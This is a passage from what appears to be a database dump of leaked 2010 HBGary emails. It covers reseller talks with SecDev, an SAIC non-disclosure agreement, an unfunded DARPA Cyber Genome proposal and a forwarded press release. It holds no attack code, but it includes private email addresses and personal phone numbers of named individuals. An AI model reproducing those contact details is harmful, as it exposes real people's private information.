(which should be reasonable if we do not do the\r\ncommand post).\r\n\r\nTed\r\n',2339,'aaron_hbgary_com/2339.html'),(6519,'2010-05-20','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297004684.M838843P14101Q1374.eml','\"Aaron Barr\" <aaron@hbgary.com>','HBGary on cellphones','Hi Aaron,I meant to ask you on the call but forgot - does HBGary work on cell phones, e.g. Symbian et al? We had a question about whether we had access to such a product.Best,Arnav\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n',1338,'aaron_hbgary_com/1338.html'),(6520,'2010-05-20','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297004685.M72112P14101Q1375.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Introduction','Thanks Penny, will have a look and get back to you by early next week.Best,Arnav\r\n\r\nOn 2010-05-20, at 2:49 PM, Penny Leavy-Hoglund wrote:Hi Guys,&nbsp;Attached is our standard reseller form.&nbsp; Here are datasheets and two white papers.&nbsp; We are releasing a new white paper at CEIC, so I’ll send that to you once it’s out.&nbsp;&nbsp;From:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;Sent:&nbsp;Wednesday, May 19, 2010 4:18 AMTo:&nbsp;Aaron BarrCc:&nbsp;Penny LeavySubject:&nbsp;Re: Introduction&nbsp;Hi Aaron,&nbsp;I\'m free to talk today, between 10 and 1pm EST and 4-5 EST. Give me a shout whenever\'s best 613-755-4007&nbsp;Best,Arnav&nbsp;On 2010-05-18, at 4:22 PM, Aaron Barr wrote:Hi Arnav,&nbsp;Sure. &nbsp;Cc\'d is the president of HBGary Inc. &nbsp;They build and manage the product. &nbsp;Penny will get you the reseller agreement. &nbsp;We use the HBGary products as our foundation for enterprise incident response engagements. &nbsp;I will send you some information on this. &nbsp;Can we talk briefly tomorrow?&nbsp;AaronSent from my iPadOn May 18, 2010, at 4:15 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:Hi Aaron,&nbsp;Thanks for this. It was good to speak to you on Friday.&nbsp;Looking forward to receiving a reseller agreement/other materials that we can go through.&nbsp;Best wishes,Arnav&nbsp;&nbsp;Arnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engaged&nbsp;World Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.&nbsp;Consider the environment. Please don\'t print this e-mail unless you really need to.&nbsp;&nbsp;On 2010-05-14, at 3:49 PM, Aaron Barr wrote:Sent from my iPadBegin forwarded message:From:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;Date:&nbsp;May 14, 2010 11:14:20 AM EDTTo:&nbsp;Scott K. Brown &lt;sbrown@dewnet.ncsc.mil&gt;Cc:&nbsp;Nart Villeneuve &lt;nart.villeneuve@utoronto.ca&gt;Subject:&nbsp;IntroductionScott,Let me introduce Nart Villeneuve. &nbsp;Nart is the CTO for SecDev. &nbsp;Most recently they have put together and presented some very interesting findings on the cyber attacks against the office of the Dali Lama (ghostnet) and some broader related attacks (shadownet). &nbsp;Their investigative techniques are thorough and would likely provide some good information to the group at the REBL conference.Nart,Scott managed the Blue Team at NSA and is putting together this years conference. &nbsp;He is looking for some interesting speakers concerning malware, malware analysis, threats, integration of capabilities, etc. &nbsp;I mentioned to him I thought your talk would be appropriate and engaging.Aaron&nbsp;&nbsp;&lt;HBGary-VAR Agrmt (6-08)1 (3).doc&gt;&lt;datasheet_DDNA.pdf&gt;&lt;datasheet_Responder pro.pdf&gt;&lt;EA_REcon_FINALDRAFT.pdf&gt;&lt;HBG Malware Report_FINAL_FINAL.pdf&gt;',9528,'aaron_hbgary_com/9528.html'),(6521,'2010-05-20','\"Dolby, Jamie T.\" <JAMIE.T.DOLBY@saic.com>','/aaron@hbgary.com/new/1297004686.M260725P14101Q1376.eml','aaron@hbgary.com','Non-Disclosure Agreement','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreetings,\r\n\r\n&nbsp;\r\n\r\nPlease\r\nfind a Non-Disclosure Agreement for your review and execution for the CTSC\r\neffort.&nbsp; Please forward any changes for negotiation (if there are any)\r\nusing the track changes feature.&nbsp; If all seems to be in order without\r\nchanges - please execute and return via fax/PDF for SAIC signature.&nbsp; \r\n\r\n&nbsp;\r\n\r\nBest Regards,\r\n\r\n&nbsp;\r\n\r\nJamie\r\nDolby | Subcontract Administrator | SAIC | 6841 Benjamin Franklin Drive,\r\nColumbia, MD&nbsp; 21046 &#9474;Tel: 443.367.7287 &#9474;Fax: 443.367.7940\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5568,'aaron_hbgary_com/5568.html'),(6522,'2010-05-20','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004686.M524328P14101Q1377.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>,\"Arnav Manchanda\" <a.manchanda@secdev.ca>','RE: Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCool, thanks\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Arnav Manchanda\r\n[mailto:a.manchanda@secdev.ca] \r\nSent: Thursday, May 20, 2010 12:13 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: \'Aaron Barr\'\r\nSubject: Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks Penny, will have a look and get back to you by early\r\nnext week.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-20, at 2:49 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Guys,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAttached is our standard reseller form.&nbsp; Here are\r\ndatasheets and two white papers.&nbsp; We are releasing a new white paper at\r\nCEIC, so I&#8217;ll send that to you once it&#8217;s out.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Arnav Manchanda\r\n[mailto:a.manchanda@secdev.ca]&nbsp;\r\nSent:&nbsp;Wednesday, May 19,\r\n2010 4:18 AM\r\nTo:&nbsp;Aaron Barr\r\nCc:&nbsp;Penny Leavy\r\nSubject:&nbsp;Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\'m free to talk today, between 10 and 1pm EST and 4-5 EST.\r\nGive me a shout whenever\'s best 613-755-4007\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-18, at 4:22 PM, Aaron Barr wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Arnav,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSure. &nbsp;Cc\'d is the president of HBGary Inc. &nbsp;They\r\nbuild and manage the product. &nbsp;Penny will get you the reseller agreement.\r\n&nbsp;We use the HBGary products as our foundation for enterprise incident\r\nresponse engagements. &nbsp;I will send you some information on this. &nbsp;Can\r\nwe talk briefly tomorrow?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 18, 2010, at 4:15 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for this. It was good to speak to you on Friday.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLooking forward to receiving a reseller agreement/other\r\nmaterials that we can go through.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest wishes,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\nManchanda\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBusiness Capture &amp; Analytics\r\n\r\nThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWorld\r\nExchange Plaza\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n45\r\nO\'Connor Street, Suite 1150\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOttawa,\r\nOntario K1P 1A4\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOffice:&nbsp;+1\r\n(613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081\r\nE-mail:&nbsp;a.manchanda@secdev.ca&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis\r\nemail and any attached files are confidential and copyright protected. If you\r\nare not the addressee, any dissemination of this communication is strictly\r\nprohibited. Unless otherwise expressly agreed in writing, nothing stated in\r\nthis communication shall be legally binding.\r\n\r\n&nbsp;\r\n\r\nConsider\r\nthe environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-14, at 3:49 PM, Aaron Barr wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate:&nbsp;May 14, 2010\r\n11:14:20 AM EDT\r\nTo:&nbsp;Scott K. Brown &lt;sbrown@dewnet.ncsc.mil&gt;\r\nCc:&nbsp;Nart Villeneuve &lt;nart.villeneuve@utoronto.ca&gt;\r\nSubject:&nbsp;Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nScott,\r\nLet me introduce Nart Villeneuve. &nbsp;Nart is the CTO for SecDev. &nbsp;Most\r\nrecently they have put together and presented some very interesting findings on\r\nthe cyber attacks against the office of the Dali Lama (ghostnet) and some\r\nbroader related attacks (shadownet). &nbsp;Their investigative techniques are\r\nthorough and would likely provide some good information to the group at the\r\nREBL conference.\r\n\r\nNart,\r\nScott managed the Blue Team at NSA and is putting together this years\r\nconference. &nbsp;He is looking for some interesting speakers concerning\r\nmalware, malware analysis, threats, integration of capabilities, etc. &nbsp;I\r\nmentioned to him I thought your talk would be appropriate and engaging.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGary-VAR Agrmt (6-08)1\r\n(3).doc&gt;&lt;datasheet_DDNA.pdf&gt;&lt;datasheet_Responder\r\npro.pdf&gt;&lt;EA_REcon_FINALDRAFT.pdf&gt;&lt;HBG Malware\r\nReport_FINAL_FINAL.pdf&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7272,'aaron_hbgary_com/7272.html'),(6523,'2010-05-20','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297004686.M825125P14101Q1378.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Stephen Day and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsMay 20, 2010\r\n    AFCEA NOVA\r\n    \r\n      Latest:\r\n      \r\n      \r\n          1 news article\r\n              |\r\n             1 Job\r\n      \r\n      \r\n      \r\n    \r\n\r\n      \r\n    \r\n\r\n\r\n\r\nLatest News      \r\n        \r\n          Attend Axway\'s Federal Executive Conference\r\n          Add a comment  &raquo;\r\n          social.memberemail.com | May 19, 2010\r\n        Wednesday June 9th at 8am&#0133;\r\n      \r\n\r\n   Job Discussions (1)\r\n       \r\n         \r\n           A Warehouse Management Systems Client Support Manager  NC. \r\n\r\nContact Stephen Day at sday@daycap.com\r\n410 419 2521\r\n           Add a comment  &raquo;\r\n           \r\n         Posted by Stephen Day, CEO at Corporate Fission\r\n       \r\n   \r\n     \r\n       \r\n         Find the best talent on LinkedIn\r\n         \r\n           Reach over 65 million top professionals\r\n           Be alerted to good matches automatically\r\n           Receive on average 30 applicants\r\n         \r\n         Get Started &raquo;\r\n       \r\n     \r\n   \r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',8337,'aaron_hbgary_com/8337.html'),(6524,'2010-05-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004687.M271048P14101Q1379.eml','\"Barr Aaron\" <aaron@hbgary.com>','Surprise, surprise','\"TASC Names Larry Strang to Head Cybersecurity Initiatives\"\r\n',11680,'aaron_hbgary_com/11680.html'),(6525,'2010-05-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004687.M636332P14101Q1380.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: HBGary on cellphones','Not for security but we do work on the for app development.From my iPhoneOn May 20, 2010, at 3:07 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nHi Aaron,I meant to ask you on the call but forgot - does HBGary work on cell phones, e.g. Symbian et al? We had a question about whether we had access to such a product.\r\nBest,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe SecDev Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O&#39;Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice: +1 (613) 755-4007\r\nCell:  +1 (613) 806-4081E-mail: a.manchanda@secdev.ca \r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\nConsider the environment. Please don&#39;t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11287,'aaron_hbgary_com/11287.html'),(6526,'2010-05-20','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297004687.M853720P14101Q1381.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Phil Porras\" <porras@csl.sri.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Irby Thompson\" <irby@pikewerks.com>','DARPA Cyber Genome Technical Area #1','Unfortunately we have received news that our DARPA Cyber Genome\r\nTechnical Area #1 Proposal did not receive funding.\r\n\r\nWe will learn more during the DARPA debrief and I will share what we\r\nlearn with everyone.\r\n\r\nI want to thank everyone for the incredible effort associated with the\r\nDARPA Cyber Genome proposals.  We created a great team and I am looking\r\nforward to finding other near-term partnership opportunities to work\r\ntogether.\r\n\r\nMy great appreciation again,\r\n\r\nChris\r\n\r\n',2100,'aaron_hbgary_com/2100.html'),(6527,'2010-05-20','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297004688.M123275P14101Q1382.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,,,','Re: DARPA Cyber Genome Technical Area #1','Bummer.\r\n\r\n\r\nOn May 20, 2010, at 4:34 PM, Starr, Christopher H. wrote:\r\n\r\n> Unfortunately we have received news that our DARPA Cyber Genome\r\n> Technical Area #1 Proposal did not receive funding.\r\n> \r\n> We will learn more during the DARPA debrief and I will share what we\r\n> learn with everyone.\r\n> \r\n> I want to thank everyone for the incredible effort associated with the\r\n> DARPA Cyber Genome proposals.  We created a great team and I am looking\r\n> forward to finding other near-term partnership opportunities to work\r\n> together.\r\n> \r\n> My great appreciation again,\r\n> \r\n> Chris\r\n> \r\n\r\n',11760,'aaron_hbgary_com/11760.html'),(6528,'2010-05-20','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297004688.M438880P14101Q1383.eml','\"Irby Thompson\" <irby@pikewerks.com>,\"Irby Thompson\" <irby@pikewerks.com>,,,','RE: DARPA Cyber Genome Technical Area #1','I am really interested about what we will learn from the DARPA debrief.\r\nIn the meantime, I will be talking with everyone about opportunities\r\nthat might make sense to partner.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Irby Thompson [mailto:irby@pikewerks.com] \r\nSent: Thursday, May 20, 2010 4:41 PM\r\nTo: Starr, Christopher H.\r\nCc: Aaron Barr; Phil Porras; Anita D\'Amico; Adam Fraser\r\nSubject: Re: DARPA Cyber Genome Technical Area #1\r\n\r\nBummer.\r\n\r\n\r\nOn May 20, 2010, at 4:34 PM, Starr, Christopher H. wrote:\r\n\r\n> Unfortunately we have received news that our DARPA Cyber Genome\r\n> Technical Area #1 Proposal did not receive funding.\r\n> \r\n> We will learn more during the DARPA debrief and I will share what we\r\n> learn with everyone.\r\n> \r\n> I want to thank everyone for the incredible effort associated with the\r\n> DARPA Cyber Genome proposals.  We created a great team and I am\r\nlooking\r\n> forward to finding other near-term partnership opportunities to work\r\n> together.\r\n> \r\n> My great appreciation again,\r\n> \r\n> Chris\r\n> \r\n\r\n',5140,'aaron_hbgary_com/5140.html'),(6529,'2010-05-20','\"Daniel Ingevaldson\" <dsi@endgames.us>','/aaron@hbgary.com/new/1297004689.M150381P14101Q1384.eml','\"Aaron Barr\" <aaron@hbgary.com>','Welcome to the Endgame Systems Sicily API Service (Beta)','',13250,'aaron_hbgary_com/13250.html'),(6530,'2010-05-20','\"Wagner, Edward D (IS)\" <Edward.Wagner@NGC.com>','/aaron@hbgary.com/new/1297004689.M486306P14101Q1385.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Discussion','Aaron,\r\n\r\nI leave for Germany Sat, but will be back the following week.\r\n\r\nThanks,\r\n\r\nTed\r\n\r\n\r\nEdward D. Wagner, CISM, CISSP, ISSMP\r\nProject Manager\r\nNorthrop Grumman IT/TASC\r\n(703) 706-1462\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, May 20, 2010 2:24 PM\r\nTo: Wagner, Edward D (IS)\r\nSubject: Discussion\r\n\r\nHey Ted,\r\n\r\nIf you have some time would like to get together.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',4275,'aaron_hbgary_com/4275.html'),(6531,'2010-05-21','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004689.M777568P14101Q1386.eml','\"Michael G. Spohn\" <mspohn@cox.net>,\"Aaron Barr\" <aaron@hbgary.com>','FW: immixGroup Awarded IT Services Contract with DHS','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThey re-sell our solution and Rich seemed to think they were pretty\r\ngood.&nbsp; They are in DC\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Phill Magaro\r\n[mailto:phill_magaro@immixgroup.com] \r\nSent: Tuesday, May 18, 2010 8:15 AM\r\nTo: Penny Leavy-Hoglund; rich@hbgary.com; Bob Slapnik\r\nCc: Jerahd Hollis; Keith Thomas\r\nSubject: FW: immixGroup Awarded IT Services Contract with DHS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHB Gary Team,\r\ngood morning!\r\n\r\n&nbsp;\r\n\r\nWanted to let\r\nyou know about our recent win at DHS, as part of it is in the cyber security /\r\nforensic support.&nbsp; \r\n\r\n&nbsp;\r\n\r\nHope all is\r\nwell, and looking forward to connecting soon on our next meeting.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\n____________________________________\r\n\r\nPhill Magaro\r\n\r\nVice President\r\n\r\nIT Solutions\r\nDivision\r\n\r\nimmixGroup, Inc.\r\n\r\n703.663.1921\r\ndirect | 703.752.0610 main\r\n\r\n540.729.1715\r\nmobile | 703.752.0611 fax \r\n\r\nwww.immixgroup.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: immixGroup\r\n[mailto:info@immixgroup.com] \r\nSent: Monday, May 17, 2010 3:26 PM\r\nTo: Phill Magaro\r\nSubject: immixGroup Awarded IT Services Contract with DHS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  To\r\n  view this email as a web page, go here.\r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  FOR IMMEDIATE RELEASE\r\n  \r\n \r\n \r\n  \r\n  Media Contact:\r\n  Rob Marks\r\n  immixGroup, Inc.\r\n  703-752-0651\r\n  rob_marks@immixgroup.com \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      immixGroup\'s\r\n      IT Solutions Division Awarded IT Services Contract with Department of\r\n      Homeland Security\r\n      DHS\r\n      to Leverage immixGroup\'s Digital Forensics and Information Management\r\n      Expertise to Support Cyber Crimes Center Initiatives\r\n      MCLEAN, VA, May 17, 2010&#8212;immixGroup,\r\n      Inc., a leading provider of enterprise technology products and services to\r\n      the public sector, announced today its IT Solutions Division has been\r\n      awarded a contract with the U.S. Department of Homeland Security (DHS)\r\n      Immigration and Customs Enforcement (ICE) Cyber Crimes Center (C3) worth\r\n      up to $7.8 million. Under this new contract, immixGroup will provide\r\n      information technology operational services and support, implementation,\r\n      and maintenance of DHS ICE C3\'s software applications, network and\r\n      CyberSecurity systems, as well as the maintenance and enhancement of\r\n      applications that support law enforcement activities.\r\n      The contract includes one base year,\r\n      one 12-month option period, and two six-month option periods; covers all\r\n      four divisions of C3 (Child Exploitation, Cyber Crimes, Computer\r\n      Forensics, and Cyber Training); and is critical to C3\'s pursuit of\r\n      criminal activity. immixGroup\'s services in this effort include network\r\n      maintenance, application development and support, forensic lab\r\n      assistance, data storage maintenance, and information assurance.\r\n      &quot;DHS ICE\'s Cyber Crimes Center is\r\n      doing serious work protecting us and our children by investigating\r\n      domestic and international criminal activities occurring online.\r\n      immixGroup is proud to leverage our unmatched digital forensics and\r\n      information management expertise to help them accomplish their\r\n      goals,&quot; said Phill Magaro, vice president, immixGroup IT Solutions\r\n      Division. &quot;We\'ve been working with DHS for years on a number of IT\r\n      projects, and we are pleased DHS has validated our previous work by\r\n      awarding us this contract.&quot; \r\n      immixGroup\'s IT Solutions Division\r\n      leverages extensive strategic and technical relationships with industry\r\n      leaders such as Oracle, EMC, Guidance Software, AccessData, HB Gary, and\r\n      Microsoft to provide a variety of implementation services for government\r\n      and commercial customers. The company\'s services cover an array of\r\n      consulting efforts in broad yet complementary technology areas,\r\n      presenting its government customers with customized solutions that meet\r\n      their unique needs. These vendor-neutral services are delivered by highly\r\n      experienced, security-cleared professionals certified in an extensive set\r\n      of technologies. For more information on the immixGroup IT Solutions\r\n      Division, please visit http://www.immixgroup.com/services/immix_solutions.htm.\r\n      About immixGroup, Inc.\r\n      immixGroup brings commercial technology products and services to the\r\n      public sector. Since 1997, immixGroup has helped hundreds of\r\n      companies-including IBM, Oracle, EMC, and McAfee-grow and manage their\r\n      government business while providing federal, state, and local agencies\r\n      with reliable access to leading commercial technologies. immixGroup is a\r\n      recognized leader in the public sector technology marketplace, with four\r\n      divisions delivering a unique combination of services. These include\r\n      technology sales via preferred contract vehicles, innovative government\r\n      channel programs, expert contract management consulting, and professional\r\n      IT services.\r\n      immixGroup\'s IT Solutions Division\r\n      maintains strategic relationships with leading technology vendors while\r\n      providing product-neutral service solutions delivered by highly\r\n      experienced, security-cleared professionals. For more information,\r\n      contact immixGroup, Inc. at 703.752.0610, via email at info@immixgroup.com, or on the web\r\n      at www.immixgroup.com.\r\n      \r\n     \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n  immixGroup\r\n  helps technology companies do business with the government.\r\n  Technology\r\n  Sales | Government\r\n  Channels | Contract\r\n  Management | IT\r\n  Solutions\r\n  \r\n \r\n \r\n  \r\n  About\r\n  immixGroup | Services\r\n  | News\r\n  | Upcoming\r\n  Events | Press\r\n  Archives\r\n  Copyright &copy; 2010 immixGroup, Inc. All rights reserved.\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  This email was sent to: phill_magaro@immixgroup.com\r\n  \r\n   \r\n    \r\n    This email was sent by: immixGroup\r\n    8444 Westpark Dr., Ste. 200, McLean, VA, 22102, USA \r\n    \r\n   \r\n  \r\n  \r\n  \r\n  We respect your right to privacy - view\r\n  our policy\r\n  \r\n \r\n \r\n  \r\n  \r\n  Unsubscribe\r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3755,'aaron_hbgary_com/3755.html'),(6532,'2010-05-21','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004691.M790384P14101Q1387.eml','\"Barr Aaron\" 